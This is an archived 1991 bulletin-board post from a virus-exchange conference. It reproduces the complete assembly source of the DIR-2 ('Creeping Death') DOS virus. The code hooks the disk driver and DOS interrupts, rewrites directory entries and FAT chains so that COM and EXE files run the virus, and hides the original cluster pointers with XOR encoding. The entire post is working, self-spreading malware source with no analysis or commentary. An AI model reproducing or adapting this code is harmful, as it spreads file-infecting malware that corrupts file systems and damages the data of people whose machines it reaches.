home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DIR2.ASM < prev    next >
Assembly Source File  |  1992-08-11  |  11KB  |  498 lines

  1. ===========================================================================
  2.  BBS: The Programmer's Inn
  3. Date: 11-24-91 (19:52)             Number: 3544
  4. From: AHMED DOGAN                  Refer#: NONE
  5.   To: ALL                           Recvd: NO  
  6. Subj: DIR-2                          Conf: (16) VIRUS     
  7. ---------------------------------------------------------------------------
  8. ;        Creeping Death  V 1.0
  9. ;
  10. ;        (C) Copyright 1991 by VirusSoft Corp.
  11.  
  12. i13org    =    5f8h
  13. i21org    =    5fch
  14.  
  15.          org   100h
  16.  
  17.          mov   sp,600h
  18.          inc   counter
  19.          xor   cx,cx
  20.          mov   ds,cx
  21.          lds   ax,[0c1h]
  22.          add   ax,21h
  23.          push  ds
  24.          push  ax
  25.          mov   ah,30h
  26.          call  jump
  27.          cmp   al,4
  28.          sbb   si,si
  29.          mov   drive+2,byte ptr -1
  30.          mov   bx,60h
  31.          mov   ah,4ah
  32.          call  jump
  33.  
  34.          mov   ah,52h
  35.          call  jump
  36.          push  es:[bx-2]
  37.          lds   bx,es:[bx]
  38.  
  39. search:  mov   ax,[bx+si+15h]
  40.          cmp   ax,70h
  41.          jne   next
  42.          xchg  ax,cx
  43.          mov   [bx+si+18h],byte ptr -1
  44.          mov   di,[bx+si+13h]
  45.          mov   [bx+si+13h],offset header
  46.          mov   [bx+si+15h],cs
  47. next:    lds   bx,[bx+si+19h]
  48.          cmp   bx,-1
  49.          jne   search
  50.          jcxz  install
  51.  
  52.          pop   ds
  53.          mov   ax,ds
  54.          add   ax,[3]
  55.          inc   ax
  56.          mov   dx,cs
  57.          dec   dx
  58.          cmp   ax,dx
  59.          jne   no_boot
  60.          add   [3],61h
  61. no_boot: mov   ds,dx
  62.          mov   [1],8
  63.  
  64.          mov   ds,cx
  65.          les   ax,[di+6]
  66.          mov   cs:str_block,ax
  67.          mov   cs:int_block,es
  68.  
  69.          cld
  70.          mov   si,1
  71. scan:    dec   si
  72.          lodsw
  73.          cmp   ax,1effh
  74.          jne   scan
  75.          mov   ax,2cah
  76.          cmp   [si+4],ax
  77.          je    right
  78.          cmp   [si+5],ax
  79.          jne   scan
  80. right:   lodsw
  81.          push  cs
  82.          pop   es
  83.          mov   di,offset modify+1
  84.          stosw
  85.          xchg  ax,si
  86.          mov   di,offset i13org
  87.          cli
  88.          movsw
  89.          movsw
  90.  
  91.          mov   dx,0c000h
  92. fdsk1:   mov   ds,dx
  93.          xor   si,si
  94.          lodsw
  95.          cmp   ax,0aa55h
  96.          jne   fdsk4
  97.          cbw
  98.          lodsb
  99.          mov   cl,9
  100.          sal   ax,cl
  101. fdsk2:   cmp   [si],6c7h
  102.          jne   fdsk3
  103.          cmp   [si+2],4ch
  104.          jne   fdsk3
  105.          push  dx
  106.          push  [si+4]
  107.          jmp   short death
  108. install: int   20h
  109. file:    db    "c:",255,0
  110. fdsk3:   inc   si
  111.          cmp   si,ax
  112.          jb    fdsk2
  113. fdsk4:   inc   dx
  114.          cmp   dh,0f0h
  115.          jb    fdsk1
  116.  
  117.          sub   sp,4
  118. death:   push  cs
  119.          pop   ds
  120.          mov   bx,[2ch]
  121.          mov   es,bx
  122.          mov   ah,49h
  123.          call  jump
  124.          xor   ax,ax
  125.          test  bx,bx
  126.          jz    boot
  127.          mov   di,1
  128. seek:    dec   di
  129.          scasw
  130.          jne   seek
  131.          lea   si,[di+2]
  132.          jmp   short exec
  133. boot:    mov   es,[16h]
  134.          mov   bx,es:[16h]
  135.          dec   bx
  136.          xor   si,si
  137. exec:    push  bx
  138.          mov   bx,offset param
  139.          mov   [bx+4],cs
  140.          mov   [bx+8],cs
  141.          mov   [bx+12],cs
  142.          pop   ds
  143.          push  cs
  144.          pop   es
  145.  
  146.          mov   di,offset f_name
  147.          push  di
  148.          mov   cx,40
  149.          rep   movsw
  150.          push  cs
  151.          pop   ds
  152.  
  153.          mov   ah,3dh
  154.          mov   dx,offset file
  155.          call  jump
  156.          pop   dx
  157.  
  158.          mov   ax,4b00h
  159.          call  jump
  160.          mov   ah,4dh
  161.          call  jump
  162.          mov   ah,4ch
  163.  
  164. jump:    pushf
  165.          call  dword ptr cs:[i21org]
  166.          ret
  167.  
  168.  
  169. ;--------Installation complete
  170.  
  171. i13pr:   mov   ah,3
  172.          jmp   dword ptr cs:[i13org]
  173.  
  174.  
  175. main:    push  ax            ; driver
  176.          push  cx            ; strategy block
  177.          push  dx
  178.          push  ds
  179.          push  si
  180.          push  di
  181.  
  182.          push  es
  183.          pop   ds
  184.          mov   al,[bx+2]
  185.  
  186.          cmp   al,4          ; Input
  187.          je    input
  188.          cmp   al,8
  189.          je    output
  190.          cmp   al,9
  191.          je    output
  192.  
  193.          call  in
  194.          cmp   al,2          ; Build BPB
  195.          jne   ppp           ;
  196.          lds   si,[bx+12h]
  197.          mov   di,offset bpb_buf
  198.          mov   es:[bx+12h],di
  199.          mov   es:[bx+14h],cs
  200.          push  es
  201.          push  cs
  202.          pop   es
  203.  
  204.          mov   cx,16
  205.          rep   movsw
  206.          pop   es
  207.          push  cs
  208.          pop   ds
  209.          mov   al,[di+2-32]
  210.          cmp   al,2
  211.          adc   al,0
  212.          cbw
  213.          cmp   [di+8-32],0
  214.          je    m32
  215.          sub   [di+8-32],ax
  216.          jmp   short ppp
  217. m32:     sub   [di+15h-32],ax
  218.          sbb   [di+17h-32],0
  219.  
  220. ppp:     pop   di
  221.          pop   si
  222.          pop   ds
  223.          pop   dx
  224.          pop   cx
  225.          pop   ax
  226. rts:     retf
  227.  
  228. output:  mov   cx,0ff09h
  229.          call  check
  230.          jz    inf_sec
  231.          call  in
  232.          jmp   short inf_dsk
  233.  
  234. inf_sec: jmp   _inf_sec
  235. read:    jmp   _read
  236. read_:   add   sp,16
  237.          jmp   short ppp
  238.  
  239. input:   call  check
  240.          jz    read
  241. inf_dsk: mov   byte ptr [bx+2],4
  242.          cld
  243.          lea   si,[bx+0eh]
  244.          mov   cx,8
  245. save:    lodsw
  246.          push  ax
  247.          loop  save
  248.          mov   [bx+14h],1
  249.          call  driver
  250.          jnz   read_
  251.          mov   byte ptr [bx+2],2
  252.          call  in
  253.          lds   si,[bx+12h]
  254.          mov   ax,[si+6]
  255.          add   ax,15
  256.          mov   cl,4
  257.          shr   ax,cl
  258.          mov   di,[si+0bh]
  259.          add   di,di
  260.          stc
  261.          adc   di,ax
  262.          push  di
  263.          cwd
  264.          mov   ax,[si+8]
  265.          test  ax,ax
  266.          jnz   more
  267.          mov   ax,[si+15h]
  268.          mov   dx,[si+17h]
  269. more:    xor   cx,cx
  270.          sub   ax,di
  271.          sbb   dx,cx
  272.          mov   cl,[si+2]
  273.          div   cx
  274.          cmp   cl,2
  275.          sbb   ax,-1
  276.          push  ax
  277.          call  convert
  278.          mov   byte ptr es:[bx+2],4
  279.          mov   es:[bx+14h],ax
  280.          call  driver
  281. again:   lds   si,es:[bx+0eh]
  282.          add   si,dx
  283.          sub   dh,cl
  284.          adc   dx,ax
  285.          mov   cs:gad+1,dx
  286.          cmp   cl,1
  287.          je    small
  288.          mov   ax,[si]
  289.          and   ax,di
  290.          cmp   ax,0fff7h
  291.          je    bad
  292.          cmp   ax,0ff7h
  293.          je    bad
  294.          cmp   ax,0ff70h
  295.          jne   ok
  296. bad:     pop   ax
  297.          dec   ax
  298.          push  ax
  299.          call  convert
  300.          jmp   short again
  301.  
  302. small:   not   di
  303.          and   [si],di
  304.          pop   ax
  305.          push  ax
  306.          inc   ax
  307.          push  ax
  308.          mov   dx,0fh
  309.          test  di,dx
  310.          jz    here
  311.          inc   dx
  312.          mul   dx
  313. here:    or    [si],ax
  314.          pop   ax
  315.          call  convert
  316.          mov   si,es:[bx+0eh]
  317.          add   si,dx
  318.          mov   ax,[si]
  319.          and   ax,di
  320. ok:      mov   dx,di
  321.          dec   dx
  322.          and   dx,di
  323.          not   di
  324.          and   [si],di
  325.          or    [si],dx
  326.  
  327.          cmp   ax,dx
  328.          pop   ax
  329.          pop   di
  330.          mov   cs:pointer+1,ax
  331.          je    _read_
  332.          mov   dx,[si]
  333.          push  ds
  334.          push  si
  335.          call  write
  336.          pop   si
  337.          pop   ds
  338.          jnz   _read_
  339.          call  driver
  340.          cmp   [si],dx
  341.          jne   _read_
  342.          dec   ax
  343.          dec   ax
  344.          mul   cx
  345.          add   ax,di
  346.          adc   dx,0
  347.          push  es
  348.          pop   ds
  349.          mov   [bx+12h],2
  350.          mov   [bx+14h],ax
  351.          test  dx,dx
  352.          jz    less
  353.          mov   [bx+14h],-1
  354.          mov   [bx+1ah],ax
  355.          mov   [bx+1ch],dx
  356. less:    mov   [bx+10h],cs
  357.          mov   [bx+0eh],100h
  358.          call  write
  359.  
  360. _read_:  std
  361.          lea   di,[bx+1ch]
  362.          mov   cx,8
  363. load:    pop   ax
  364.          stosw
  365.          loop  load
  366. _read:   call  in
  367.  
  368.          mov   cx,9
  369. _inf_sec:
  370.          mov   di,es:[bx+12h]
  371.          lds   si,es:[bx+0eh]
  372.          sal   di,cl
  373.          xor   cl,cl
  374.          add   di,si
  375.          xor   dl,dl
  376.          push  ds
  377.          push  si
  378.          call  find
  379.          jcxz  no_inf
  380.          call  write
  381.          and   es:[bx+4],byte ptr 07fh
  382. no_inf:  pop   si
  383.          pop   ds
  384.          inc   dx
  385.          call  find
  386.          jmp   ppp
  387.  
  388. ;--------Subroutines
  389.  
  390. find:    mov   ax,[si+8]
  391.          cmp   ax,"XE"
  392.          jne   com
  393.          cmp   [si+10],al
  394.          je    found
  395. com:     cmp   ax,"OC"
  396.          jne   go_on
  397.          cmp   byte ptr [si+10],"M"
  398.          jne   go_on
  399.  
  400. found:   test  [si+1eh],0ffc0h ; >4MB
  401.          jnz   go_on
  402.          test  [si+1dh],03ff8h ; <2048B
  403.          jz    go_on
  404.          test  [si+0bh],byte ptr 1ch
  405.          jnz   go_on
  406.          test  dl,dl
  407.          jnz   rest
  408. pointer: mov   ax,1234h
  409.          cmp   ax,[si+1ah]
  410.          je    go_on
  411.          xchg  ax,[si+1ah]
  412. gad:     xor   ax,1234h
  413.          mov   [si+14h],ax
  414.          loop  go_on
  415. rest:    xor   ax,ax
  416.          xchg  ax,[si+14h]
  417.          xor   ax,cs:gad+1
  418.          mov   [si+1ah],ax
  419. go_on:  ;rol   cs:gad+1,1
  420.          db    2eh,0d1h,6
  421.          dw    offset gad+1
  422.          add   si,32
  423.          cmp   di,si
  424.          jne   find
  425.          ret
  426.  
  427. check:   mov   ah,[bx+1]
  428. drive:   cmp   ah,-1
  429.          mov   cs:[drive+2],ah
  430.          jne   changed
  431.          push  [bx+0eh]
  432.          mov   byte ptr [bx+2],1
  433.          call  in
  434.          cmp   byte ptr [bx+0eh],1
  435.          pop   [bx+0eh]
  436.          mov   [bx+2],al
  437. changed: ret
  438.  
  439. write:   cmp   byte ptr es:[bx+2],8
  440.          jae   in
  441.          mov   byte ptr es:[bx+2],4
  442.          mov   si,70h
  443.          mov   ds,si
  444. modify:  mov   si,1234h
  445.          push  [si]
  446.          push  [si+2]
  447.          mov   [si],offset i13pr
  448.          mov   [si+2],cs
  449.          call  in
  450.          pop   [si+2]
  451.          pop   [si]
  452.          ret
  453.  
  454. driver:  mov   es:[bx+12h],1
  455. in:
  456.          db    09ah
  457. str_block:
  458.          dw    ?,70h
  459.          db    09ah
  460. int_block:
  461.          dw    ?,70h
  462.          test  es:[bx+4],byte ptr 80h
  463.          ret
  464.  
  465. convert: cmp   ax,0ff0h
  466.          jae   fat_16
  467.          mov   si,3
  468.          xor   cs:[si+gad-1],si
  469.          mul   si
  470.          shr   ax,1
  471.          mov   di,0fffh
  472.          jnc   cont
  473.          mov   di,0fff0h
  474.          jmp   short cont
  475. fat_16:  mov   si,2
  476.          mul   si
  477.          mov   di,0ffffh
  478. cont:    mov   si,512
  479.          div   si
  480. header:  inc   ax
  481.          ret
  482.  
  483. counter: dw    0
  484.  
  485.          dw    842h
  486.          dw    offset main
  487.          dw    offset rts
  488.          db    7fh
  489.  
  490. param:   dw    0,80h,?,5ch,?,6ch,?
  491.  
  492. bpb_buf: db    32 dup(?)
  493. f_name:  db    80 dup(?)
  494.  
  495. ;--------The End.
  496.  
  497.  
  498.